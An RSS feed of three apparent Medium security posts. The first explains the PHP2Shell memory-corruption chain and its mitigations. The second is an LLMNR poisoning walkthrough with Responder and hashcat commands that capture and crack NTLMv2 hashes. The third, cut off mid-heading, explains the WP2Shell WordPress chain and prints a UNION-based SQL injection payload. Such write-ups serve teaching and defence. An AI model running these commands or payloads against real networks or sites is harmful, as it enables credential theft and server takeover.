<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mr. Spider on Medium]]></title>
        <description><![CDATA[Stories by Mr. Spider on Medium]]></description>
        <link>https://medium.com/@asadullah547335?source=rss-9fc531dc7491------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aWUs3dx4YgAXr6PFR9MYZw.png</url>
            <title>Stories by Mr. Spider on Medium</title>
            <link>https://medium.com/@asadullah547335?source=rss-9fc531dc7491------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 14:42:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@asadullah547335/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP2Shell: Two Bugs Beneath the Framework That Hand Over Any PHP Server]]></title>
            <link>https://medium.com/@asadullah547335/php2shell-two-bugs-beneath-the-framework-that-hand-over-any-php-server-d161fc937b38?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/d161fc937b38</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[php2shell]]></category>
            <category><![CDATA[php2shell-vulnerabilities]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Thu, 03 Dec 2026 08:04:55 GMT</pubDate>
            <atom:updated>2026-12-03T08:04:55.140Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A pre-auth remote code execution chain that lives in the PHP runtime itself — below your framework, below your login, and present in every release since 2012.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VybraLZ1G2iGY0mMHIZl3g.png" /></figure><h3>The runtime is the vulnerability, not your app</h3><p>On 21 October 2026, the PHP project disclosed two vulnerabilities that, between them, let an unauthenticated attacker run commands on almost any PHP server using nothing but ordinary HTTP requests. Emergency fixes went out the same day across every supported branch.</p><p>There was no login to defeat, no file upload the application had to accept, and no bug in the application’s own code. The flaw lived in the PHP runtime, beneath whatever framework or CMS happened to be installed.</p><p>The disclosure was named PHP2Shell. Because the vulnerable code had been present since PHP 5.4.0 in 2012, it reached fourteen years of releases in one shot.</p><p><strong>At a glance:</strong></p><ul><li>Tracked as <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109618"><strong>CVE-2026–109618</strong></a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2026-109619"><strong>CVE-2026–109619</strong></a>, both scored <strong>9.2 Critical</strong> on CVSS v4.0.</li><li>Found by researchers at Wiz, OpenAI and Calif, and reported privately to the PHP security team.</li><li>Patched in <strong>PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35</strong>.</li><li>Details leaked a day before the fix, and network sensors recorded exploitation attempts within hours — some before the patched releases were even out.</li></ul><p>This is a live threat, not a theoretical one.</p><h3>An attack that happens while your app is asleep</h3><p>When someone visits a PHP site, PHP hands the request to your application and runs its code. But PHP also does work <em>before</em> your code runs and that pre-execution window is where the whole of PHP2Shell takes place, driven entirely by what the attacker puts in an ordinary multipart upload.</p><p>Reaching that code needs no session_start() in the target page, no valid login, and in fact no application logic at all. Any URL on the server that accepts a POST request is enough even one whose script does nothing but print a single line.</p><p>That is the uncomfortable part. If the attack works against a page that only prints OK, it works against the runtime, and a real WordPress or Laravel site is no better protected just because its own code is sound.</p><h3>Phase 1: The pre-auth window: session.upload_progress</h3><p>PHP has an internal feature called session.upload_progress that tracks how much of a file upload has been received. Imagine uploading a 100 MB file: the server needs a way to report that it has 10%, then 50%, then 100% of the bytes. PHP handles this by writing the upload&#39;s name, total size, bytes received and status into the user&#39;s session ($_SESSION) as the file streams in, so a second request can read the progress back.</p><p>The feature is enabled by default in most configurations. To activate tracking for a specific upload, the form just needs a special hidden field:</p><pre>&lt;input type=&quot;hidden&quot; name=&quot;PHP_SESSION_UPLOAD_PROGRESS&quot; value=&quot;my_upload&quot;&gt;</pre><p>That field tells PHP: <em>track this upload and store its progress in the session.</em> The attacker’s request is the same shape a multipart POST carrying PHP_SESSION_UPLOAD_PROGRESS and one file part:</p><pre>POST /index.php HTTP/1.1<br>Host: example.com<br>Content-Type: multipart/form-data; boundary=----123</pre><pre>------123<br>Content-Disposition: form-data; name=&quot;PHP_SESSION_UPLOAD_PROGRESS&quot;</pre><pre>test<br>------123<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;test.txt&quot;<br>Content-Type: text/plain</pre><pre>Hello World<br>------123--</pre><p>The timing is the whole point. Parsing the request body is one of the first things PHP does long before it initialises the request environment (RINIT) and long before it compiles and runs the script the URL points at. The progress updates are written from inside the body-parsing callbacks, so they happen <strong>before any application code executes</strong>. The attacker reaches this stage pre-auth.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRgZhVXpprW_GtaEl9dElw.png" /></figure><h3>Phase 2: When PHP runs out of memory</h3><p>The upload-progress feature is not itself the vulnerability. The vulnerability is what happens when PHP runs out of memory <em>while that feature is in the middle of its work </em>and to see it, you need to know how PHP handles a fatal memory error.</p><p>PHP caps how much memory a single request may use with the memory_limit setting (say memory_limit = 8M). When a request tries to exceed it, PHP cannot simply carry on. Instead it performs what the engine calls a <strong>bailout</strong>: a longjmp() straight back to a safe recovery point, abandoning whatever it was doing. This is the mechanism behind the familiar <em>&quot;Allowed memory size exhausted&quot;</em> fatal error.</p><p>The critical detail is that a bailout is an emergency exit. It stops execution immediately, without properly freeing memory or cleaning up the resources that were in flight.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bx_EAWEMhZyRlEkizNmow.png" /></figure><h3>Phase 3 &amp; 4: A dangling pointer, and a worker that lives on</h3><p>Here is the bad timing that creates the bug:</p><ol><li>PHP frees a block of memory with free().</li><li>Before it can clear the pointer that referred to that memory, the out-of-memory error fires.</li><li>PHP bails out, skipping the cleanup.</li><li>The pointer survives and still pointing at memory that has already been freed.</li></ol><p>That stale pointer is a <strong>dangling pointer</strong>, classified as CWE-824 (<em>access of uninitialised pointer</em>). Think of it as keeping the address of a house after the house has been demolished.</p><p>A dangling pointer on its own would be harmless if the process restarted. It does not. Under Apache’s prefork model, each worker handles one request at a time and <strong>stays alive</strong> to handle the next one instead of restarting. So the same worker that bailed out picks up a fresh request with the broken pointer still in place.</p><p>Now the attacker has an opening. They can influence what new data lands in the freed memory, and when PHP follows the old pointer, it may read or act on attacker-controlled data sitting where the original object used to be.</p><p>From this single defect the researchers built two different attacks, which is why PHP2Shell carries two CVE numbers.</p><h3>One defect, two CVEs</h3><p><strong>CVE-2026–109618:</strong></p><ul><li><strong>Memory disclosure.</strong></li><li>The attacker influences the length of data PHP reads through the dangling pointer, so PHP reads more memory than it should, and that extra memory is returned inside an HTTP response header.</li><li>The result: the attacker can see parts of the worker’s memory that should never be exposed.</li></ul><p><strong>CVE-2026–109619:</strong></p><ul><li><strong>Remote code execution.</strong></li><li>Instead of just reading the corrupted memory, the attacker reoccupies it to hijack the program’s execution flow, and ultimately runs commands on the server.</li></ul><p>Both depend on the same prefork behaviour. Workers are separate server processes that handle incoming requests, like clerks at a reception desk: Apache keeps several of them running, each takes one request at a time, and after finishing, the same worker handles the next request rather than restarting. That reuse is exactly what keeps the dangling pointer reachable across two requests the attacker’s first request plants the condition, and a second request springs it.</p><h3>Reconnaissance: confirming the target</h3><ul><li>The lab target runs as a container.</li><li>Listing it and reading its PHP version shows <strong>PHP 8.4.26</strong> — one release short of the 8.4.27 fix, so it is vulnerable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88mSs1HdRFkfvLTLcXCGBA.png" /></figure><ul><li>The application itself is a single line that prints OK.</li><li>No login form, no file upload, no database, and certainly no bug in this code to exploit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6ZFzc3Pvt8icESeujjBXg.png" /></figure><ul><li>That is the point worth pausing on.</li><li>If the attack works against <em>this</em> page, it works against the runtime, not the application and a real WordPress or Laravel site is no safer simply because its own code is sound.</li></ul><p>The server runs the ordinary prefork mod_php setup with session.upload_progress enabled by default. For the lab it is cut down to a single worker with a low memory_limit, so the dangling pointer is reliably reused and the out-of-memory condition is easy to provoke. A production host would run many workers with a higher limit, which makes the timing harder to hit but not impossible.</p><h3>Phase 5 &amp; 6: Leaking memory and defeating ASLR (CVE-2026–109618)</h3><p>Modern systems load code and data at randomised addresses, a defence called <strong>Address Space Layout Randomisation (ASLR)</strong>. An attacker who wants to redirect execution has to know where things actually are in memory, and ASLR is meant to deny that knowledge. CVE-2026–109618 removes it by turning the dangling pointer into a leak of the worker’s own memory.</p><p>The sequence runs like this:</p><ol><li><strong>PHP crashes while handling the session ID.</strong> An out-of-memory error fires mid-processing, PHP bails out, and a pointer to the old session ID is left behind pointing at freed memory.</li><li><strong>The same worker reuses that memory.</strong> A later request puts new data there, but the stale pointer still points to the location.</li><li><strong>PHP misreads the length.</strong> The stale pointer refers to a string whose <em>recorded</em> length is far larger than its real data say an actual session ID of 32 bytes that PHP now believes is 67 KB so PHP reads far beyond the real value.</li><li><strong>The overread leaks through the response.</strong> PHP sends the session cookie back with Set-Cookie: PHPSESSID=..., and the extra bytes come from adjacent worker memory: potentially passwords, session cookies, API keys, cryptographic material, and memory addresses.</li></ol><p>Two leaks matter most:</p><ul><li><strong>The PHP heap base: </strong>where the large region PHP uses for dynamic data (strings, objects) begins.</li><li><strong>The </strong><strong>libphp base: </strong>where PHP&#39;s own engine code lives. The exploit finds a pointer into the library whose offset from the start is already known, then back-calculates:</li></ul><pre>library base = leaked address - known offset</pre><p>With both the heap and the library located, the exploit can work out where every other relevant object and function sits. The addresses differ on every run that is ASLR doing its job but the attack simply reads them straight out of a Set-Cookie header each time rather than guessing them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tAWNFAdZQBNGh7CQqFhUw.png" /></figure><h3>Phase 7: From a leak to a shell (CVE-2026-109619)</h3><p>The leak told the attacker where everything is. The second CVE turns that knowledge into a command running on the server. It works by reoccupying the freed memory not with data to read, but with a carefully forged object that hijacks PHP’s own clean-up machinery.</p><p>Two ideas make it work. A <strong>destructor</strong> is a cleanup function PHP calls when it is finished with a value. A <strong>function pointer</strong> is a variable that stores the memory address of a function rather than ordinary data:</p><pre>void (*function_pointer)();</pre><p>The exploit uses the dangling reference to make PHP interpret attacker-controlled memory as a legitimate internal structure called a HashTable. Inside that forged structure is a field named pDestructor, which normally points at a cleanup function. The exploit makes it point at system() instead the C function that executes operating-system commands.</p><p>This is where defeating ASLR pays off. Because the exploit leaked the libphp base, it can compute the exact address of system():</p><pre>system address = libphp base + system offset</pre><p>When PHP finishes the request and performs cleanup, it encounters the forged structure and tries to call its destructor. Instead of the legitimate cleanup routine, it calls system() with attacker-controlled data and the command runs under the privileges of the web-server user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*rOkCXY2DE1-qUDKygMpRtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*beUgcCIebIS_nZB2azEMMA.png" /></figure><p>Run with no command argument, the exploit performs the whole chain and proves execution by running id on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1-_GLRAJCVx_veAPhf7F2Q.png" /></figure><h3>How to fix it</h3><p>The only complete fix is to patch the PHP runtime itself. Update the PHP package your distribution ships, or the base image your container is built from, to <strong>8.5.12, 8.4.27, 8.3.36 or 8.2.35 </strong>then restart every worker, so no process keeps running the old code.</p><p>Until you can patch, several interim measures reduce exposure. The PHP team is clear that none is a complete substitute for patching:</p><ul><li><strong>Disable the trigger:</strong> set session.upload_progress.enabled = 0 and restart all workers. This removes the entry point for most of the reported techniques.</li><li><strong>Disable the opcode cache:</strong> opcache.enable = 0 frustrates the code-execution path.</li><li><strong>On PHP 8.5:</strong> fatal_error_backtraces = 0 addresses CVE-2026-109619 specifically.</li><li><strong>Block delivery at the edge:</strong> reject multipart/form-data requests at your proxy or WAF at the cost of breaking legitimate file uploads.</li><li><strong>Least privilege:</strong> run the PHP process with minimal rights so that a successful chain gains as little as possible.</li></ul><p><em>Thanks for reading. If this was useful, follow for more deep dives into real-world vulnerabilities and let me know in the comments which chain you want broken down next.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d161fc937b38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LLMNR Poisoning (Active Directory Attack)]]></title>
            <link>https://medium.com/@asadullah547335/llmnr-poisoning-active-directory-attack-0485726a6467?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/0485726a6467</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[llmnr-poisoning]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Sun, 18 Oct 2026 13:51:02 GMT</pubDate>
            <atom:updated>2026-10-18T13:51:02.884Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>LLMNR Poisoning</strong> is a network attack where an attacker tricks Windows computers into sending their <strong>NTLM authentication hashes</strong> to the attacker. It is commonly seen in <strong>Active Directory / Windows network penetration testing</strong>.</p><p>Think of it like this:</p><blockquote><em>A Windows computer asks the network: </em><strong><em>“Where is FILESERVER?”</em></strong></blockquote><blockquote><em>The attacker replies: </em><strong><em>“I am FILESERVER.”</em></strong></blockquote><blockquote><em>Windows trusts the response and tries to authenticate.</em></blockquote><blockquote><em>The attacker captures the authentication exchange.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vavKkvkLNqcdXz_KwhE01Q.png" /></figure><p><strong>Normal LLMNR Flow</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzwRuve1UFuK0RRr7lLC5w.png" /></figure><h3>What is LLMNR?</h3><p><strong>LLMNR </strong>stands for<strong> Link-Local Multicast Name Resolution. </strong>Windows normally uses DNS to translate a name into an IP address. For example:</p><pre>\\fileserver\share</pre><p>Windows asks DNS:</p><pre>What is the IP address of &quot;fileserver&quot;?</pre><p>Suppose DNS doesn’t know. Windows may then use <strong>LLMNR</strong> to ask other computers on the local network:</p><pre>Who is fileserver?</pre><p>This request is sent to the local network using multicast. The important problem is:</p><p><strong>LLMNR does not strongly authenticate the computer that responds.</strong></p><p>So an attacker can answer:</p><pre>Windows: Who is fileserver?</pre><pre>Attacker: I am fileserver!</pre><h3>What happens next?</h3><p>This is the important part. Windows may attempt <strong>NTLM authentication</strong> to the machine it believes is the requested server. The authentication doesn’t simply send:</p><pre>Password = MyPassword123</pre><p>Instead, Windows performs an <strong>NTLM challenge-response authentication</strong>.</p><p>Simplified:</p><pre>Victim → Attacker:<br>        &quot;I want to authenticate.&quot;</pre><pre>Attacker → Victim:<br>        &quot;Here is a challenge.&quot;</pre><pre>Victim → Attacker:<br>        &quot;Here is my NTLM response.&quot;</pre><pre>Attacker:<br>        Captures the response</pre><p>The attacker doesn’t necessarily receive the user’s plaintext password. They receive an <strong>NTLM challenge-response</strong> that may potentially be subjected to offline password-cracking. <strong>NTLM</strong> is a Microsoft authentication protocol.</p><pre>Client                  Server<br>  |                       |<br>  | ---- Username ------&gt; |<br>  |                       |<br>  | &lt;---- Challenge ----- |<br>  |                       |<br>  | ---- Response ------&gt; |<br>  |                       |</pre><p>The server uses the response to verify that the client knows the password without directly sending the plaintext password over the network. With <strong>NTLMv2 network authentication</strong>, the attacker commonly captures a <strong>challenge-response exchange</strong>, not simply a static NTLM password hash.</p><h3><strong>Attack Flow</strong></h3><p><strong>Step 1: Run Responder</strong></p><pre>sudo responder -I eth0 -dv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_okZhN8GmwNNoezGF61UQ.png" /><figcaption>Responder starts listing</figcaption></figure><p><strong>Step 2: An Event Occurs</strong></p><pre>\\10.8.0.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8Qwhm_LwqO344rG6nliLQ.png" /></figure><p><strong>Step 3: Get DEM Hashes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Laqzs3U9ZxIiDirFfQIgcQ.png" /></figure><p><strong>Step 4: Crack the Hashes</strong></p><pre>hashcat -m 5600 hashes.txt /usr/share/wordlist/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5_mVYG0xP90ux7UwkZV3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHmY9fb46vAgos3__rIFJA.png" /></figure><p>we got the password…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0485726a6467" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WP2Shell (CVE-2026–63030): The WordPress Core Bug That Let Anyone Become Admin]]></title>
            <link>https://medium.com/@asadullah547335/wp2shell-cve-2026-63030-the-wordpress-core-bug-that-let-anyone-become-admin-174cba0fc256?source=rss-9fc531dc7491------2</link>
            <guid isPermaLink="false">https://medium.com/p/174cba0fc256</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[wp2shell]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cve-2026-63030]]></category>
            <dc:creator><![CDATA[Mr. Spider]]></dc:creator>
            <pubDate>Thu, 23 Jul 2026 16:49:49 GMT</pubDate>
            <atom:updated>2026-07-23T16:52:43.997Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*So1mOkU5VfyFFaTueL3-qw.png" /></figure><p>On <strong>July 17, 2026</strong>, a security researcher named <strong>Adam Kues</strong> (from Searchlight Cyber’s Assetnote team) publicly disclosed a vulnerability chain nicknamed <strong>wp2shell</strong>.</p><p>A completely anonymous person on the internet with <strong>no username, no password, no special tools, and no plugins installed</strong> can take full control of a default WordPress website.</p><p>That’s what makes this different from every other WordPress security headline you’ve read. Usually, WordPress hacks happen because someone installed a bad plugin or used a poorly coded theme. This time, the bug lives inside <strong>WordPress Core,</strong> the engine that runs every single WordPress site on the planet.</p><p>Within hours of the patch being released:</p><ul><li>A public <strong>proof-of-concept exploit</strong> appeared on GitHub</li><li>Security vendors confirmed <strong>attackers were already exploiting it</strong> in the real world</li><li>Attackers were planting <strong>web shells</strong> (backdoor programs) on compromised servers</li><li><strong>CISA</strong> (the U.S. Cybersecurity and Infrastructure Security Agency) added it to their Known Exploited Vulnerabilities catalog on <strong>July 21, 2026</strong></li></ul><h3>The Basics: Key Information at a Glance</h3><p>Before we dive deep, here’s everything you need to know at a glance:</p><ul><li><strong>Name</strong> → wp2shell</li><li><strong>CVE IDs</strong> → CVE-2026-63030 (REST API batch route-confusion) + CVE-2026-60137 (SQL injection)</li><li><strong>Type </strong>→ Pre-authentication Remote Code Execution (RCE) chain</li><li><strong>Component affected</strong> → WordPress Core (not a plugin or theme)</li><li><strong>Authentication needed</strong> → None</li><li><strong>User interaction needed</strong> → None</li><li><strong>Discovered by </strong>→ Adam Kues, Searchlight Cyber / Assetnote</li><li><strong>Disclosed publicly</strong> → July 17, 2026</li><li><strong>Severity</strong> → Critical</li><li><strong>Added to CISA KEV</strong> → July 21, 2026</li></ul><h3>Which WordPress Versions Are Affected?</h3><h4>Fully Vulnerable (Both Bugs = Full Server Takeover)</h4><ul><li><strong>WordPress 6.9.0 through 6.9.4</strong></li><li><strong>WordPress 7.0.0 through 7.0.1</strong></li></ul><p>If your site runs any of these versions, an attacker can go from zero access to full server control with a single HTTP request.</p><h4>Partially Vulnerable (SQL Injection Only)</h4><ul><li><strong>WordPress 6.8.0 through 6.8.5</strong></li></ul><p>These versions have the SQL injection bug but <strong>not</strong> the route confusion bug that makes the full attack chain work. Still serious. Still needs fixing.</p><h3>Not Affected</h3><ul><li><strong>WordPress 6.7.x and below</strong></li></ul><h3>What’s the Fix?</h3><p>WordPress released <strong>three emergency security patches</strong> on the same day (July 17, 2026):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*mAcBdhIOTYqrZyb23_tdoA.png" /></figure><p>WordPress even took the unusual step of <strong>forcing automatic updates</strong> on affected sites even ones that had auto-updates turned off. That’s how serious this was.</p><blockquote>Bottom line: Update to 7.0.2, 6.9.5, or 6.8.6 right now.</blockquote><h3>Background: What You Need to Know Before Understanding the Attack</h3><p>Before we walk through the attack, let’s explain a few WordPress features that are involved.</p><h3>What Is the WordPress REST API?</h3><p>WordPress has a built-in system called the <strong>REST API</strong>. It’s a way for apps and websites to talk to WordPress using standard web requests (HTTP). For example:</p><ul><li>GET /wp/v2/posts — give me a list of blog posts</li><li>POST /wp/v2/users — create a new user</li></ul><p>Some of these endpoints are <strong>public</strong> (anyone can read posts). Others are <strong>protected</strong> (you need to be logged in as an admin to create users). WordPress checks your identity and permissions before processing each request.</p><h3>What Is the Batch Endpoint?</h3><p>Since WordPress 5.6, there’s a special endpoint called <strong>/wp-json/batch/v1</strong>. It’s a convenience feature that lets you bundle multiple API requests into a single HTTP call.</p><p>Instead of making 5 separate requests to get posts, create a user, and check settings, you can send all 5 at once in one “batch” request, and WordPress processes them all and returns all the results together.</p><p>Internally, WordPress keeps <strong>two lists</strong> to manage this:</p><ol><li><strong>A list of the sub-requests</strong> (what the user asked for)</li><li><strong>A list of the handlers</strong> (the code that processes each request, including permission checks)</li></ol><p>These two lists are supposed to stay perfectly aligned. Request #1 goes with handler #1, request #2 with handler #2, and so on.</p><h3>What Is SQL Injection?</h3><p><strong>SQL injection</strong> is one of the oldest and most dangerous web security bugs. It happens when user input (something a visitor types or sends) gets inserted directly into a database query without proper cleaning.</p><p>Think of it like this: imagine a form that asks for your name, and the website uses that name in a database query like:</p><pre>SELECT * FROM users WHERE name = &#39; userInput &#39;;</pre><p>If someone types Sql Injection payload as their name, the query becomes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*TKdncihd21Ej2yMHT-U6eA.png" /></figure><p>That semicolon ends the first query and starts a new one → one that deletes your entire user table. SQL injection lets attackers read, modify, or delete data in your database.</p><h3>What Is a Web Shell?</h3><p>A <strong>web shell</strong> is a small piece of code (usually PHP) that an attacker places on your server. Once in place, it lets them run any command on your server through a web browser → like opening a terminal on your machine from anywhere in the world.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTY9eCA5xM8GZqZmbv4gGw.png" /></figure><h3>How the Attack Works:</h3><p>Now that you understand the building blocks, let’s walk through the entire attack.</p><h3>Step 1 — Break the Mailroom (Route Confusion)</h3><p><strong>The analogy</strong></p><p>Imagine a mailroom clerk with two clipboards. <strong>Clipboard A</strong> has the list of letters (requests). <strong>Clipboard B</strong> has the list of departments (handlers) each letter should go to.</p><p>The clerk matches them up:</p><ul><li>Letter 1 → Accounting</li><li>Letter 2 → HR</li><li>And so on.</li></ul><p>Now imagine one letter is badly addressed → it can’t be read. The clerk puts it in the <strong>“error”</strong> pile. But here’s the bug: the clerk forgets to cross that letter off <strong>Clipboard A</strong>. Now <strong>Clipboard A</strong> has one extra entry compared to <strong>Clipboard B</strong>. Every letter after the bad one slides up one slot on <strong>Clipboard B</strong> → and ends up in the wrong department.</p><p><strong>What’s really happening</strong></p><p>The attacker sends a single batch request to:</p><pre>/wp-json/batch/v1</pre><p>with several sub-requests inside it.</p><p>One sub-request is deliberately malformed → its URL is crafted so WordPress can’t parse it properly, and it gets logged as an error. Because of the bug (<strong>CVE-2026–63030</strong>), WordPress fails to keep the two internal lists in sync. After the error, every subsequent sub-request gets processed using the wrong handler → including the wrong permission checks.</p><p><strong>Why this matters</strong></p><p>A request that should have been blocked (because it requires admin login) now gets processed by a public handler that doesn’t check permissions. The attacker just walked past a locked door by tricking the security guard into watching the wrong hallway.</p><h3>Step 2 — Smuggle Malicious Input Past Security (SQL Injection)</h3><p><strong>The analogy:</strong></p><p>Now that the attacker’s request is being processed by the wrong handler, it arrives at a security checkpoint that checks IDs. But because of Step 1, the wrong checkpoint is running → the one that doesn’t check IDs at all. The attacker walks right through with a suitcase full of contraband.</p><p><strong>What’s really happening:</strong></p><ol><li>Normally, when a request reaches the WordPress “posts” endpoint, its parameters are checked against a strict list of allowed formats.</li><li>For example, a parameter called author__not_in must be a clean array of numbers (like [1, 2, 3]), representing user IDs to exclude from results.</li><li>Because of the route confusion, the attacker’s request reaches this endpoint <strong>without going through the schema validation</strong>.</li><li>This means the attacker can send author__not_in as a raw text string instead of an array of numbers.</li><li>Inside WordPress’s query engine (WP_Query), there’s a second bug (<strong>CVE-2026-60137</strong>): the code only sanitizes this value if it’s already formatted as an array.</li><li>Since the attacker’s value is a string (not an array), it <strong>skips sanitization entirely</strong> and gets pasted directly into the SQL query.</li></ol><p>Here’s what that looks like in code:</p><pre>// WordPress expects something like this:<br>// author__not_in = [1, 2, 3]<br>// Result: AND wp_posts.post_author NOT IN (1,2,3)</pre><pre>// The attacker sends this instead:<br>// author__not_in = &quot;1) AND 1=0 UNION ALL SELECT ... -- -&quot;<br>// Result: the raw string goes straight into the SQL query</pre><pre>$where .= &quot; AND{$wpdb-&gt;posts}.post_author NOT IN ({$author__not_in})&quot;;</pre><ul><li>The actual payload the attacker sends looks like this:</li></ul><pre>author__not_in=1) AND 1=0 UNION ALL SELECT &lt;23 columns&gt; -- -<br>per_page=-1</pre><ul><li>The per_page=-1 disables WordPress’s query splitting, ensuring the full injection executes.</li><li>Now the attacker can make the database return <strong>any data they want</strong> → including fake WordPress posts that don’t actually exist.</li></ul><h3>Step 3 — Plant Fake Data in Memory (Object Poisoning)</h3><p><strong>The analogy:</strong></p><p>The attacker just told the database to return fake records. WordPress takes those records and converts them into internal objects → like a clerk filling out forms based on what the database said. The problem is, WordPress then <strong>caches</strong> those objects in memory for the rest of the request. It won’t check the database again. So once the fake objects are in memory, every part of WordPress that needs those “posts” gets the <strong>fake version</strong> instead of the real one.</p><p><strong>What’s really happening:</strong></p><ol><li>When WP_Query runs, it takes the rows returned by the database and converts them into WP_Post objects.</li><li>These objects are then cached in memory for the rest of the request.</li><li>Any code that later asks WordPress “give me post #123” gets the cached object → which, thanks to the SQL injection, is the <strong>attacker’s forged version</strong>.</li><li>The attacker controls everything about this fake object: its <strong>status</strong> (published, draft, etc.), its <strong>type</strong> (post, page, revision, etc.), and its <strong>parent post</strong> (which other post it belongs to).</li><li>These internal fields are normally impossible for an anonymous visitor to set.</li></ol><h3>Step 4 — Trick WordPress Into Saving the Fake Data (oEmbed Write-Back)</h3><p><strong>The analogy:</strong></p><p>A fake record sitting in a filing cabinet inside someone’s head doesn’t help the attacker. They need that fake record to be <strong>physically filed in the real filing cabinet</strong> (the database). So they find a way to trick the office into re-saving everything from memory back to disk.</p><p><strong>What’s really happening:</strong></p><ol><li>The attacker abuses <strong>oEmbed</strong> → a WordPress feature that automatically turns URLs (like YouTube links) into rich previews and caches those previews.</li><li>When oEmbed thinks a cached preview is outdated, it <strong>re-saves the related post</strong>, pulling data from the in-memory cache.</li><li>Since the in-memory cache now contains the attacker’s forged object, oEmbed faithfully saves the attacker’s fabricated <strong>status</strong>, <strong>type</strong>, and <strong>parent</strong> fields into the real database.</li><li>The fake data is now permanent.</li></ol><h3>Step 5 — Steal an Admin’s Identity (Nested Saves and Identity Hijacking)</h3><p><strong>The analogy:</strong></p><p>The attacker now has fake files in the real filing cabinet. But they need to do something only an administrator can do → create a new admin account. They can’t do that as an anonymous person. So they set up a clever chain reaction: they create a file that, when opened, forces the office manager to temporarily <strong>pretend to be the CEO</strong>. While the manager is “being the CEO,” they issue an order that wouldn’t normally be allowed.</p><p><strong>What’s really happening:</strong></p><p>This is the most complex part of the chain. Here’s what happens:</p><ol><li>The attacker deliberately creates a <strong>“parent loop”</strong> → a fake post that claims to be its own parent (its own ancestor). This is an impossible state that shouldn’t exist.</li><li>WordPress has a built-in safety routine that detects and repairs these loops. When it finds the loop, it triggers <strong>nested save operations</strong> → one save happening inside another.</li><li>The first save publishes a forged <strong>“Customizer changeset.”</strong> Customizer changesets remember which user originally created them. When published, WordPress briefly acts as that user. The attacker forges the changeset to point to a <strong>real administrator’s user ID</strong>.</li><li>While WordPress is momentarily “wearing the admin’s identity,” the second, nested save is engineered to trigger WordPress’s REST API loader again → starting a brand-new internal request while the <strong>fake admin identity is still active</strong>.</li></ol><h3>Step 6 — Create a New Admin Account</h3><p><strong>The analogy:</strong></p><p>Remember, the attacker sent a batch of requests at the very beginning. One of those requests was “create a new admin user.” The first time WordPress processed it, it was correctly rejected → “sorry, you’re not logged in, you can’t create users.” But now, thanks to Step 5, that same request gets <strong>re-processed</strong> while WordPress thinks the current user is a real administrator. This time, the permission check passes. The new admin account is created.</p><p><strong>What’s really happening:</strong></p><ol><li>The batch request the attacker sent at the start included a POST /wp/v2/users sub-request to create a new administrator account.</li><li>It was rejected the first time (401 Unauthorized).</li><li>But inside the nested save from Step 5, WordPress re-evaluates requests while the admin identity is active.</li><li>The user creation now succeeds → WordPress returns 201 Created, and the attacker now has a <strong>legitimate administrator account</strong> they can log in with.</li></ol><h3>Step 7 — Take Over the Server (Remote Code Execution)</h3><p><strong>The 